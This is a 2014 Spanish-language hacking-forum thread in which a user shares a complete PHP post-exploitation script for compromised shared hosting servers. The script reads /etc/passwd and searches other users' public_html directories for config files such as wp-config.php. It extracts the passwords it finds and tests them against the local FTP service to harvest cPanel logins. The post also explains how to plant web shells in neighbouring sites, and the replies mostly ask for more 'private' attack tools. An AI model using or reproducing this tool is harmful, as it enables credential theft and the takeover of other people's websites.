comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Cpanel FtpHack and bypass directorios

  • 5 Respuestas
  • 3620 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado josemi

  • *
  • Underc0der
  • Mensajes: 24
  • Actividad:
    0%
  • Reputación 0
  • Ing. Sistemas
    • Ver Perfil
« en: Julio 25, 2014, 10:15:20 am »
buenas, aquí le dejo esta herramienta muy util para sacar muchos hackedhost en mis tiempo era una tool private del foto  vip@r00t-y0u.org  :-[ a según ese foro lo defaceraon y por ahí subieron todas las tool private (googleen xD)

solo necesitas subirla algún hackedhost y ejecutarlo.. el sistema empezara a buscar las clave de cpanel del host ademas también publica directorio "bypasseable" es decir si en ese host hay varias pagina alojada te da el directorio de dicha web por ejemplo "home/$underc0de/public_html/" entonces por medio de shell entramos en ese directorio.. En caso que tengamos permisos de escritura podemos subir shell por ahí en caso que no entonces hay que revisar que cms usa editar el config.php y subir la shell


espero que aun funcione..  esta herramienta me fue muy útil  :'(

Código: PHP
  1. <?php
  2. echo "<html>";
  3. echo "<title>vip@r00t-y0u.org</title><body>";
  4.  
  5. ##################
  6. @$passwd=fopen('/etc/passwd','r');
  7. if (!$passwd) {
  8.    echo "[-] Error : coudn't read /etc/passwd";
  9.    exit;
  10. }
  11. $path_to_public=array();
  12. $users=array();
  13. $pathtoconf=array();
  14. $i=0;
  15.  
  16. while(!feof($passwd)) {
  17.   $str=fgets($passwd);
  18.   if ($i>35) {
  19.     $pos=strpos($str,":");
  20.     $username=substr($str,0,$pos);
  21.     $dirz="/home/$username/public_html/";
  22.     if (($username!="")) {
  23.         if (is_readable($dirz)) {
  24.             array_push($users,$username);
  25.             array_push($path_to_public,$dirz);
  26.         }
  27.     }
  28.   }
  29.   $i++;
  30. }
  31. ###################
  32.  
  33. #########################
  34. echo "<br><br>";
  35. echo "<textarea name='main_window' cols=100 rows=20>";
  36.  
  37. echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
  38. echo "[+] Founded ".sizeof($path_to_public)." readable public_html directories\n";
  39.  
  40. echo "[~] Searching for passwords in config.* files...\n\n";
  41. foreach ($users as $user) {
  42.         $path="/home/$user/public_html/";
  43.         read_dir($path,$user);
  44. }
  45.  
  46. echo "\n[+] Done\n";
  47.  
  48. function read_dir($path,$username) {
  49.     if ($handle = opendir($path)) {
  50.         while (false !== ($file = readdir($handle))) {
  51.               $fpath="$path$file";
  52.               if (($file!='.') and ($file!='..')) {
  53.                  if (is_readable($fpath)) {
  54.                     $dr="$fpath/";
  55.                     if (is_dir($dr)) {
  56.                        read_dir($dr,$username);
  57.                     }
  58.                     else {
  59.                          if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) {
  60.                             $pass=get_pass($fpath);
  61.                             if ($pass!='') {
  62.                                echo "[+] $fpath\n$pass\n";
  63.                                ftp_check($username,$pass);
  64.                             }
  65.                          }
  66.                     }
  67.                  }
  68.               }
  69.         }
  70.     }
  71. }
  72.  
  73. function get_pass($link) {
  74.     @$config=fopen($link,'r');
  75.     while(!feof($config)) {
  76.         $line=fgets($config);
  77.         if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
  78.             if (strrpos($line,'"'))
  79.                $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
  80.             else
  81.                $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
  82.             return $pass;
  83.         }
  84.     }
  85. }
  86.  
  87. function ftp_check($login,$pass) {
  88.      @$ftp=ftp_connect('127.0.0.1');
  89.      if ($ftp) {
  90.         @$res=ftp_login($ftp,$login,$pass);
  91.         if ($res) {
  92.            echo '[Cpanel Found !!!] '.$login.':'.$pass."  Success\n";
  93.         }
  94.         else ftp_quit($ftp);
  95.      }
  96. }
  97.  
  98. echo "</textarea><br>";
  99.  
  100. echo "</body></html>";
  101. ?>

Desconectado blackdrake

  • *
  • Co Admin
  • Mensajes: 1914
  • Actividad:
    0%
  • Reputación 15
    • Ver Perfil
« Respuesta #1 en: Julio 25, 2014, 10:24:19 am »
Gracias por el aporte josemi, no conocia esta tool y parece muy buena. He buscado y no he encontrado el resto de las tools, si las tienes o sabes donde conseguirlas dimelo vía mp :)

Un saludo.



Desconectado josemi

  • *
  • Underc0der
  • Mensajes: 24
  • Actividad:
    0%
  • Reputación 0
  • Ing. Sistemas
    • Ver Perfil
« Respuesta #2 en: Julio 25, 2014, 11:49:18 am »
Gracias por el aporte josemi, no conocia esta tool y parece muy buena. He buscado y no he encontrado el resto de las tools, si las tienes o sabes donde conseguirlas dimelo vía mp :)

Un saludo.


yo creo que la debo tener por ahí guardada .. tengo que buscarla tengo como 5 años si revisar mi disco duro portátil y no recuerdo donde guardaba eso, también tengo la tool priv8 del doom team aunque esa si ya están obsoletas xD

Desconectado blackdrake

  • *
  • Co Admin
  • Mensajes: 1914
  • Actividad:
    0%
  • Reputación 15
    • Ver Perfil
« Respuesta #3 en: Julio 25, 2014, 12:04:21 pm »
Gracias por el aporte josemi, no conocia esta tool y parece muy buena. He buscado y no he encontrado el resto de las tools, si las tienes o sabes donde conseguirlas dimelo vía mp :)

Un saludo.


yo creo que la debo tener por ahí guardada .. tengo que buscarla tengo como 5 años si revisar mi disco duro portátil y no recuerdo donde guardaba eso, también tengo la tool priv8 del doom team aunque esa si ya están obsoletas xD

Si las encuentras, pasamelas por favor

Un saludo :D



Conectado hielasangre

  • *
  • Underc0der
  • Mensajes: 147
  • Actividad:
    30%
  • Reputación 3
    • Ver Perfil
« Respuesta #4 en: Julio 25, 2014, 12:06:47 pm »
Gracias por el aporte josemi, no conocia esta tool y parece muy buena. He buscado y no he encontrado el resto de las tools, si las tienes o sabes donde conseguirlas dimelo vía mp :)

Un saludo.


yo creo que la debo tener por ahí guardada .. tengo que buscarla tengo como 5 años si revisar mi disco duro portátil y no recuerdo donde guardaba eso, también tengo la tool priv8 del doom team aunque esa si ya están obsoletas xD

Es DOM team, y esta tool que yo sepa es publica desde el año 2006 masomenos xD

Desconectado josemi

  • *
  • Underc0der
  • Mensajes: 24
  • Actividad:
    0%
  • Reputación 0
  • Ing. Sistemas
    • Ver Perfil
« Respuesta #5 en: Julio 25, 2014, 12:09:29 pm »
jajaja si DOM TEAM  :-[ , ah bueno hubo unas publica y otra privada de todas forma ya es material obsoleto , jaja ya me siento viejo 2006  ::)

 

¿Te gustó el post? COMPARTILO!



[Symlink] + Bypass AdminPanel Joomla + Exploit 0day Java7

Iniciado por CalebBucker

Respuestas: 1
Vistas: 1994
Último mensaje Septiembre 06, 2012, 03:26:16 pm
por hdbreaker
Tutorial de un exploit local BOF con bypass DEP usando ROP by PerverthsO

Iniciado por PerverthsO

Respuestas: 0
Vistas: 1701
Último mensaje Marzo 04, 2013, 01:40:08 pm
por PerverthsO
Demostración Symlink [Video] + Explicación bypass info

Iniciado por andrewtwo

Respuestas: 1
Vistas: 2143
Último mensaje Agosto 30, 2012, 01:18:16 pm
por hdbreaker
Strings de SQL para lograr hacer ByPass a un login web

Iniciado por Drok3r

Respuestas: 2
Vistas: 1314
Último mensaje Septiembre 27, 2018, 02:01:18 am
por Drok3r
Desbordando el buffer en linux x86 (III) [ASLR bypass]

Iniciado por q3rv0

Respuestas: 1
Vistas: 2647
Último mensaje Junio 23, 2015, 11:59:00 am
por roadd